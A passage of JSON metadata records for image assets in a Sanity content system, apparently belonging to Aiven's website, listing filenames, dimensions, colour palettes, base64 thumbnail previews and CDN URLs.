,"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ca9ea","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607594","foreground":"#fff","population":1.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#084fbb","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Test_your_SQL_streaming_data_pipeline_blog.jpg","path":"images/sczeoy4w/production/87fc53fc08a7716056a5ba920d0c8b3e5c4b4476-1567x844.jpg","sha1hash":"87fc53fc08a7716056a5ba920d0c8b3e5c4b4476","size":147695,"title":"Test your SQL streaming data pipeline with Docker","uploadId":"St5AKoT0tZrrr0vHXFP60l8Xr6lL6hRF","url":"https://cdn.sanity.io/images/sczeoy4w/production/87fc53fc08a7716056a5ba920d0c8b3e5c4b4476-1567x844.jpg"} {"_createdAt":"2023-03-31T12:28:12Z","_id":"image-882c8a09ad09424c6908cf8228bec1404c4f9c1a-3276x1624-png","_rev":"IfootSjA4c56MZIbwSnFMG","_type":"sanity.imageAsset","_updatedAt":"2023-03-31T12:28:12Z","assetId":"882c8a09ad09424c6908cf8228bec1404c4f9c1a","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0172413793103448,"height":1624,"width":3276},"exif":{"PixelXDimension":3276,"PixelYDimension":1624,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABjUlEQVQokY2Su27eMAyF/f7PEnTIlKUo0CVvUGQokqEIekF+SyIpUpRln4Jyc506ELAtn4+Hh1pKLkgpQ6ti33ccx/HfFf+Psb/TLfx7Rf5zQS2Ebg1uDjVHa45t29C3Dep9Vjy/Ffe+wULj/eX7wj8T8q8n8JrQiCEkuGRBKgxVhVpDroaVK6oaeu8Y++mqWUMVQWvtFZiLIiWCEKNJhYjiqQjWQpBaoWYQNZDIfHf3KX4GCgvMDGOME1jIQaTTendHbQ2rMArzhLlHDBVaeQojho9AVZ2N4mwp2cBkM7MYJ4AXpgm0f8CACReoVniMPMYcO84pYpJw2aZ+ySSgabvBm6NWxZoJKdPcfDMDi6KQgKfwdBnQmKAEsOrZaN+xmK4QSWd3NTgJJNHsbKrosQjzuclw8HbkaJjWNPPfYtPbwNIto3Ke23JrGGFdbeYTmQ7vOLYz8Hd3cAzYJSHfPYC/3aN9/wG/f8TSRFCJoVLPKxH5fKhnRy91HBh9Q3t4BN/cgq4+gz99gVx/xV+Wbwjxo3yEQgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#25464f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c6b8f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df194b","foreground":"#fff","population":0.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8ea8c3","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c358","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58a9b3","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df194b","foreground":"#fff","population":0.47,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"console_create_service.png","path":"images/sczeoy4w/production/882c8a09ad09424c6908cf8228bec1404c4f9c1a-3276x1624.png","sha1hash":"882c8a09ad09424c6908cf8228bec1404c4f9c1a","size":616473,"uploadId":"HTgOP8BEES26q36KyQBGbhgZFjL0HdkE","url":"https://cdn.sanity.io/images/sczeoy4w/production/882c8a09ad09424c6908cf8228bec1404c4f9c1a-3276x1624.png"} {"_createdAt":"2024-04-09T12:03:08Z","_id":"image-8853040eaa5b79728452988ae915af379aa38958-4320x1995-jpg","_rev":"umyIBHGdYV5etBYdma19NW","_type":"sanity.imageAsset","_updatedAt":"2024-04-09T12:03:08Z","assetId":"8853040eaa5b79728452988ae915af379aa38958","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MXR3NT?]Q,Ob=;%#VYT1xAIvofaxWEt4NJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1654135338345863,"height":1995,"width":4320},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAj/xAAhEAACAgEDBQEAAAAAAAAAAAABAgADBQQGERIhMTQ2cf/EABYBAQEBAAAAAAAAAAAAAAAAAAYDBP/EAB0RAQACAgIDAAAAAAAAAAAAAAECAwAFBCERMUH/2gAMAwEAAhEDEQA/AOnYs3JkXxWKt1VSB3UgAHxGcn99fO6j9E10RJWRH15ycujMNGU0l9S2s3DuOpgOexhJnH+qsIVu2vJjZIHoXEtetoYinzP/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#975501","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#824901","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cba4a1","foreground":"#000","population":0.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba4a1","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc7c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47ca4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc981a","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-light-blue-pattern-right.jpg","path":"images/sczeoy4w/production/8853040eaa5b79728452988ae915af379aa38958-4320x1995.jpg","sha1hash":"8853040eaa5b79728452988ae915af379aa38958","size":390009,"uploadId":"4wh3vIaHDRabpf3bSn0zGYMVBibVQYNP","url":"https://cdn.sanity.io/images/sczeoy4w/production/8853040eaa5b79728452988ae915af379aa38958-4320x1995.jpg"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri0lx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:52Z","assetId":"886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMRVU$YRspVsbvGdnOozXTn4xXVqNxs;t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADAklEQVQokTXO22/bVBzAcf9xvCHxjHjggTc0iSeyIhgbPIDQxG0Sw93asgs3ZbC1EKZVLR1paGkTJ02TNE5ix3biyzm2z/Glib20ac/vh4LGw/f1o680dtjrA83+TO1bd9S+JS/q9UeybriyS2I5jHI55JkcBokcECY7LpM9Ei8zO1iJVe1+0mk9jPX295Fj3GIsfUuyxv6nrfagqTQ6vtI48ZR6h9SUNmm2esQa+yQMIsJGOvHVGhke18hR45gMNJsELqPccPxIG/rMMpnveF2Pprcljya3zZFPdcPF/9OGDg5ND4ntYtKv4un+Q6Q7K1jfeoK75Qp2exZ6box0zJBaFD3LQ8cYR46mPZJCPv0m5Jkb8gxDnl2GfCpCNhVhkIjY6olprSiy7c+FUfpabBbvi7/K+0IzAzFyUjE2CdiaLryTOgaN7ZBXNx5J3A+XGZ8QFuXIolywKAce5RAFDBJLhbT3D7BOBarbJbi3ugabW2WwLA9crQtedR3Y8y9Fuv0xTna/CtOjjZ+laGx+x4LYf3kIC3CBc5Yi90NkAUefcmw2T3B9/Xes7Gyh193FpHoXT59dwdnGa+Js8w3MlFthoh/8KEVD4x7zY59F2cvDBZoBW+B8CoylwAIOru3CUG2D3dqBpPEAsvI1mD17G+Z/vCnOnr+H+dEvbNo6LEqxbq5xyul/RywVEUsgYjHEIYM4oJBQG1I6hlPfgQk1IDMqkNdkmP32PsxXluDi2w/E/MldPN/fYueHlaI0MbXlxNIps4bIHRMndIQZNTH3+vjC7eLM6+IZ6eO5r+M56eJc+xPn5Tt4sfIJihsfIdz8AkTpMYrjChODg5+kM7P54bR78HfY2R9GmjKY2S3twj0eXDj13qXTUC/dpipIWxW0owqnoYrWZk+UHqiwuqzC2qoKTx93sV3u4ai6B279piSs6itzbe+dfLB344VxcP3SVq6Do1wDR1kCp14Ad1GjgN5RAczDAuyWlrD4w1V8+msBmjsFsA7fBbd+Fdz6FXCUV/8Fsb3uMdOkppsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493b46","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#48251f","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b9bec6","foreground":"#000","population":0.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bec6","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f46494","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b6899","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2690b","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844.png","path":"images/sczeoy4w/production/886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844.png","sha1hash":"886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5","size":193736,"uploadId":"oTj9a4hyM9HSObhcW1Gjrq4PmO5ZApL6","url":"https://cdn.sanity.io/images/sczeoy4w/production/886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844.png"} {"_createdAt":"2024-03-12T12:30:23Z","_id":"image-8876b79a2689ebed6a531c2dd580f4bf8c4a02cc-1200x628-png","_rev":"YZDTfZCd9Sx4xq41jfydRU","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T12:30:23Z","assetId":"8876b79a2689ebed6a531c2dd580f4bf8c4a02cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD9sv20]}SAKv}[jB@+@E#xGn3NenMX9s;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACxElEQVQokR3Q7W8aBQCA8fsT5iaUwnHAAcfLHXDsaAusQoUOSq0jlhUy+kbbQWk3NrsG3No1s4XYNcbGfTDRumRqfJsxZotmNkuXaGY10TTxg/HfeYz98Hz9fXiEs9YpzlhKnLFM8Yr1Cmdts5wTFzBJdcyOFfpcLSzuW1g9HazeDWzKFqJvG13bYGlwjo/SGQ5zIf4syBzlNQSbexp/pE4otkrw/P+1CA+uExpoEzQ6hAY30RPvEr3QIzTUQw7tIPp30LS7zAws8UEqz5OLBsdjXl6O+RA86gLpi20KxS2yhU1G37jHRGmXfHGX4dEdhtLbDI30SGT2MF67jyfSPQWD6hZTRoPu8ARfZ+Ic5VQOc2EEp3+eRHqNbOEOI/mNU3Cs2CMz3uV8chO31sYZ7CBrm8jaPaTANnZ/l3Bkm3JynbvZGgf5N3lcyPJpfgLBKlcJ6HWi8RZG8m2M5DpabA23dhNRuXH60Oxao9+zgT3QxaHu4Qq9Tyz5gJnJh9yuPeS92ofszt7nnco+Qr+rikdbRDVWCA20UI0buIKrmJ3LvCo1MTtb9Hs6SMEebv0BivEJSuwAI/UZ5fnnrN3+m/XOCautY2qNXxHM9go2VxXJO4fDt4ik1LG5G5gdDUyOJn2um4j+LdyRfXyxA4LxLwgmviI8/CXjlUOa7X9odv5l9toJ5au/I5htl3GIJWS5itO3hOitI7rrSJ4GknINWW0TiO2ixj9GTX6OnnqMnv4ePfUtucmfqF3/i1rrhPLibxSnXyD02Up47JMElBm8WgOHv4lTaSD7l5ED1/Hpd4he2CeafkQk9Q1G5gcGR38knnvKeOU51eU/qFw95tL0C3KlZwjnrJcx9U9itpUx2Wcw2ecxSwtYnHUsrhVE5RZefQ8t8Yjw8HdER54Qyz5jpHhEqfaSK/Vj3pr7hbGpn3n90lP+AzlagfPk37esAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#40487d","foreground":"#fff","population":1.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4c35","foreground":"#fff","population":8.35,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1d257b","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f88e1","foreground":"#fff","population":1.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#734767","foreground":"#fff","population":5.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc4c35","foreground":"#fff","population":8.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Berlin Tech Connect.png","path":"images/sczeoy4w/production/8876b79a2689ebed6a531c2dd580f4bf8c4a02cc-1200x628.png","sha1hash":"8876b79a2689ebed6a531c2dd580f4bf8c4a02cc","size":269737,"uploadId":"RaadlDo43A02nQeBBQOuzC59yGgflyGX","url":"https://cdn.sanity.io/images/sczeoy4w/production/8876b79a2689ebed6a531c2dd580f4bf8c4a02cc-1200x628.png"} {"_createdAt":"2022-11-17T13:39:03Z","_id":"image-88f88a8f1218f399f8303ef4dec7af688927764f-1999x1359-png","_rev":"YI3rks3mbRtnzMpdnM7I1m","_type":"sanity.imageAsset","_updatedAt":"2022-11-17T13:39:03Z","assetId":"88f88a8f1218f399f8303ef4dec7af688927764f","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4709345106696101,"height":1359,"width":1999},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACzklEQVQ4jZWR62scVRjG57/zm0SxcVVEKTRSKFr8UBC8oRRsEbSoSWlLrVSwrUIkIoI2QZNGakx2c9suzcam62azm5nZOXM5M+fMbX9yxqReWj/4wsOZGeb9ned5X+vopUVevLzMs5caPHOxQe1CnSPn64xN1nnh03U+ntvhZnOfW+0hi9seP/8m+Hbd5q2ZNk9fXOXJ83XGLzQ4+tkGr95oYS1u7bPQGvDT5h4/NvvMNfvMNgfMNvdZuOvQ3BV03Yg9L2ZPKPqBpusp1roht9oe81vD6rx9T7DS8bHSLEP5AtnvIT1BEMX4YUwkE2SSECeKRCmUTkmznKwoKcoR5ciIAx28lyMsnWbYA5vO9g6DgYMXxARSEesUlWaVdJaT5wV5XpJmBTotkLFmOBS4rosfhMg4Ic9zLCE19R2X2c091u672F5IGElkbJxplM4qSJYXhFLT63tsbe/yy9Ia019Nc+OL63w/N8/yegt7KLA8qWl0BAvtIXd6AfbQx/OGeJ6H7/sEQUAURZWD3sBl6fYyM9euM/nBh7x28hVOnTjB6dNnufz5l7TubmPFKsX2Y5xQVVE9T2DbNo7jVHGMDDwIQjqdDjenr3Hu1HFOPj/Osdo4E0fGeKlW490332FlpfHnDA00NTPKMsIwRAgPIcQDdypJSJKE3d/vMzd9lTMvP8exsceYqD3F8fEnmBh7nLOvv8HG6qrZco5Kc9K8rAZvGoPARPWRUpKmKWVZorWm27nHr/Pf8fWVc0y+9zZT75/hyicfcXVqih9mvqHX3cXKi4KiLA/WXqKUqmBmfnEcV5sbjSDVunK4dWeNdrPB+soSrc0N+r0eQ8chEKK63CqKgpHpgL8Bgyq6cWW+mTL/xVISBj6xjJBRiFLJg97Degiolapgf7kb/S890qGJK2VUuTL176bDMk8PAbMs+wfQLMJ1nSr2fwEfdcHh+QfmcPvlzp4migAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79543d","foreground":"#fff","population":1.7,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1144c1","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0966b3","foreground":"#fff","population":4.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3bbc4","foreground":"#000","population":2.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94ddf6","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57e58","foreground":"#fff","population":0.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0966b3","foreground":"#fff","population":4.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"image4.png","path":"images/sczeoy4w/production/88f88a8f1218f399f8303ef4dec7af688927764f-1999x1359.png","sha1hash":"88f88a8f1218f399f8303ef4dec7af688927764f","size":1107306,"uploadId":"wTLizHSmUGPqMIjKAdZRZ9U7jMjkDWlc","url":"https://cdn.sanity.io/images/sczeoy4w/production/88f88a8f1218f399f8303ef4dec7af688927764f-1999x1359.png"} {"_createdAt":"2023-12-14T13:20:49Z","_id":"image-88ffc70d3783e638525c3320610aef8df7c6a711-6343x4229-jpg","_rev":"sg5cBJWkRHo7pkcz4Ge3oZ","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:49Z","assetId":"88ffc70d3783e638525c3320610aef8df7c6a711","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4998817687396548,"height":4229,"width":6343},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHA//EACMQAAIBAwQBBQAAAAAAAAAAAAECAwAEBQYREiFhEyIxMkH/xAAVAQEBAAAAAAAAAAAAAAAAAAACBP/EAB0RAAICAQUAAAAAAAAAAAAAAAECAAMRBBITITH/2gAMAwEAAhEDEQA/AIti8nbcpHYetMvcZYbbU8wk+l5bm8bMLctM4PBg/wAH8qf45lvG4SIFYD7qdjWcitDdR7uWBcDurrNTyAbhJlrK+SgQYzEPz4RSgKxHv7J80Uj1FI0eTZIndFVFGynxRSWvIyBCzYPc/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c4f","foreground":"#fff","population":2.91,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05186c","foreground":"#fff","population":0.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3a3c4f","foreground":"#fff","population":2.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#95a2c2","foreground":"#000","population":0.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6e9cda","foreground":"#fff","population":0.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d7cad","foreground":"#fff","population":1.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2076eb","foreground":"#fff","population":0.58,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Heikki on stage.jpeg","path":"images/sczeoy4w/production/88ffc70d3783e638525c3320610aef8df7c6a711-6343x4229.jpg","sha1hash":"88ffc70d3783e638525c3320610aef8df7c6a711","size":3613477,"uploadId":"6GSkcZOYkwrW7ZoBQ6t0JrrNteb27mW2","url":"https://cdn.sanity.io/images/sczeoy4w/production/88ffc70d3783e638525c3320610aef8df7c6a711-6343x4229.jpg"} {"_createdAt":"2022-06-14T14:41:09Z","_id":"image-8902f8b764b12a2533226e3c727834bda0681a17-205x205-png","_rev":"oamrAPLmQLQjd9jh7YpzKI","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:09Z","assetId":"8902f8b764b12a2533226e3c727834bda0681a17","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEH]g;3o020M%e{gADkq}sNw0Lv$PT^P9axFxGACR*$PtQ$j9]RksA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#623e36","foreground":"#fff","population":9.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2017","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d24a36","foreground":"#fff","population":17.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b09987","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c4a3","foreground":"#000","population":9.58,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a87c63","foreground":"#fff","population":1.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d24a36","foreground":"#fff","population":17.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"soumya.jpg.png","path":"images/sczeoy4w/production/8902f8b764b12a2533226e3c727834bda0681a17-205x205.png","sha1hash":"8902f8b764b12a2533226e3c727834bda0681a17","size":56358,"uploadId":"boqbUGNLojctaSOUC6HrAlRF585EnfPV","url":"https://cdn.sanity.io/images/sczeoy4w/production/8902f8b764b12a2533226e3c727834bda0681a17-205x205.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-8920f7ad58626d118d5084a828236e54e974a936-750x238-png","_rev":"CK1sLU2mnwa3vmbYWEbKeu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:27Z","assetId":"8920f7ad58626d118d5084a828236e54e974a936","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D14.6#_3xuWBay%MRjoft7t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.1512605042016806,"height":238,"width":750},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAxUlEQVQYlXWPSW5EMQgF/0UwGE/g2Yq773+0lh1ll0ZPJTYleE+Kcc4lKQEA3bEXAAYAEMlai4jMh4jGWyoSikRH8ATvSy4qEryPIXjnfuOYHd/FWkJkS4RIaJgoeSfBM+EjKdVa11prrtZaVs0562WtNas6ZjKGjEEAvCRjLCIZeHLOc87X+7337q3XUueYY4ze2+i9lOyYj/ZfHlUdY+y9988efbR65d5VJIVTg4m+yjGErNrbudNKVREVlZhO1b8nv8kfwJ4zVsjosacAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#120c04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e6c292","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#84847c","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d08b2e","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8920f7ad58626d118d5084a828236e54e974a9